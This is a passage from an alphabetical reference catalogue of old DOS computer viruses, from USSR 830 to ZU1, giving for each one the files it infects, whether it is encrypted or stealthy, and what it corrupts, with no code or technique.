The USSR 830 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR 948 Virus

The USSR 948 Virus is an encrypted computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

USSR Virus

The USSR Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

USSR-394 Virus

The USSR-394 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts

program or overlay files.

V-351 Virus

The V-351 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V-388 Virus

The V-388 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

V-Label Virus

The V-Label Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

V1-Not Virus

The V1-Not Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V1028 Virus

The V1028 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V125 Virus

The V125 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V1463 Virus

The V1463 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V163 Virus

The V163 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V1 0 Virus

The V1 0 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V1 1 Virus

The V1 1 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V2000 Virus

The V2000 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V2100 Virus

The V2100 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

V270X Virus

The V270X Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

V299 Virus

The V299 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

V2P2 Virus

The V2P2 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V2P6 Virus

The V2P6 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V2 0 Virus

The V2 0 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V400 Virus

The V400 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

V483 Virus

The V483 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V5 Virus

The V5 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

V600 Virus

The V600 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V800 Virus

The V800 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V801 Virus

The V801 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

V82 Virus

The V82 Virus is an encrypted computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files.

V914 Virus

The V914 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

V961 Virus

The V961 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

VA Virus

The VA Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Vacsina Virus

The Vacsina Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

VCL

VCL is a virus creation laboratory written by Nowhere Man of the NuKE organisation. It is a simple to use menu driven system which allows a variety of viruses to be created. However, because of the nature of the generator any viruses created with VCL (and there are a lot in circulation) tend to follow an easily recognisable pattern, rendering them of little threat to vigilant computer users .

VCL Virus

The VCL Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

VCL-HEEVE Virus

The VCL-HEEVE Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Vcomm Virus

The Vcomm Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

VCS Virus

The VCS Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

VDV-853 Virus

The VDV-853 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Venge-E Virus

The Venge-E Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Vera Cruz Virus

see "Italian_Virus"

VHP Virus

The VHP Virus is a computer virus which infects .COM files including

COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

VHP-2 Virus

The VHP-2 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Victor Virus

The Victor Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Vienna/648 Virus

The Vienna/648 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Vietnamese Virus

The Vietnamese Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Violator Virus

The Violator Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Viper Virus

The Viper Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Viperizer B Virus

The Viperizer B Virus is a computer virus which infects .COM and files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program files. Infected files have the seconds field of their time stamp set to 62.

Virdem Virus

The Virdem Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Virflop Virus

The Virflop Virus is a computer virus which infects .COM and .EXE

files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Virus-101 Virus

The Virus-101 Virus is an encrypted computer virus which infects the
diskette boot sector. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Virus-90 Virus

The Virus-90 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

VM Virus

The VM Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .COM and .EXE files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Voco Virus

The Voco Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Vootie Virus

The Vootie Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Voronezh Virus

The Voronezh Virus is an encrypted computer virus which infects .COM,
.EXE and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program or overlay files and
data files.

Vote/Vote1000 Virus

The Vote/Vote1000 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

VP Virus

The VP Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Vriest Virus

The Vriest Virus is a computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

VTS Virus

The VTS Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

VVF-34 Virus

The VVF-34 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

W13 Virus

The W13 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Walkabout Virus

The Walkabout Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Walker Virus

The Walker Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Warez Virus

The Warez Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Warrior 2 Virus

The Warrior 2 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Warrior Virus

The Warrior Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

WAVE Virus

The WAVE Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts

program or overlay files.

Weak Virus

The Weak Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Whale Virus

The Whale Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files and data files.

Wharps Virus

The Wharps Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

WhoCares Virus

The WhoCares Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Why win Virus

The Why win Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Wilbur 3 Virus

The Wilbur 3 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Wild Thing A Virus

The Wild Thing A Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Willistrover III Virus

The Willistrover III Virus is a computer virus which infects .COM and
.EXE files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Willow 2 Virus

The Willow 2 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Willow Virus

The Willow Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Windmill Virus

The Windmill Virus is a computer virus which uses stealth techniques
to avoid detection and which infects the diskette boot sector. The
virus is loaded into memory by booting from an infected disk and then
affects the computer's runtime operation and corrupts program or
overlay files.

WinVir Virus

The WinVir Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

Wisconsin Virus

The Wisconsin Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files and data files.

Wizard 3.0 Virus

The Wizard 3.0 Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM files including COMMAND.COM.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Wolfman Virus

The Wolfman Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Wonder Virus

The Wonder Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Wordswap Virus

The Wordswap Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files and data files.

World Peace Virus

The World Peace Virus is a computer virus which infects the diskette
boot sector. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and

corrupts program or overlay files.

Worm Virus

The Worm Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

WWT Virus

The WWT Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program files.

X-1 Virus

The X-1 Virus is a computer virus written by ICE-9 of the ARCV
organisation, which uses stealth techniques to avoid detection and
which infects .EXE files. The virus is loaded into memory by executing
an infected program and then affects the computer's runtime operation
and corrupts program or overlay files. The virus activates on the 5th
March, displaying the following message:
                        ICE-9 Presents
                       In Association with
                           The ARcV
                             [X-1]
                      Michelangelo activates
                         -< TOMORROW >-

X-2 Virus

The X-2 Virus is an encrypted computer virus wriiten by ICE-9 of the
ARCV organisation, which uses stealth techniques to avoid detection
and which infects .EXE files. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program files.

X-3A Virus

The X-3A Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

X-3A Virus

The X-3A Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

X-3B Virus

The X-3B Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

X77 Virus

The X77 Virus is a computer virus which infects .COM and .EXE files.

The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Xabaras Virus

The Xabaras Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Xpeh Virus

The Xpeh Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

XTAC Virus

The XTAC Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Xuxa Virus

The Xuxa Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Yale Virus

The Yale Virus (also called the Alameda Virus, Merritt Virus, Peking Virus and Seoul Virus) is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then just infects diskettes when ALT-CTRL-DELETE is pressed.

Yan2505a Virus

The Yan2505a Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Yankee - 2 Virus

The Yankee - 2 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Yankee Virus

The Yankee Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Yap Virus

The Yap Virus is an encrypted computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Year 1993 Virus

The Year 1993 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Youth Virus

The Youth Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Youth Virus

The Youth Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program files.

Yukon Virus

The Yukon Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Z10 Virus

The Z10 Virus is an encrypted computer virus which infects .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Zak2 Virus

The Zak2 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Zaragosa Virus

The Zaragosa Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Zeppelin Virus

The Zeppelin Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Zero Bug Virus

The Zero Bug Virus (1536 Virus) is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts

program or overlay files.

Zero Time Virus

The Zero Time Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

ZeroHunt Virus

The ZeroHunt Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program files.

ZK900 Virus

The ZK900 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program files.

Zombie Virus

The Zombie Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program files.

ZRK Virus

The ZRK Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program files.

ZU1 Virus

The ZU1 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program files.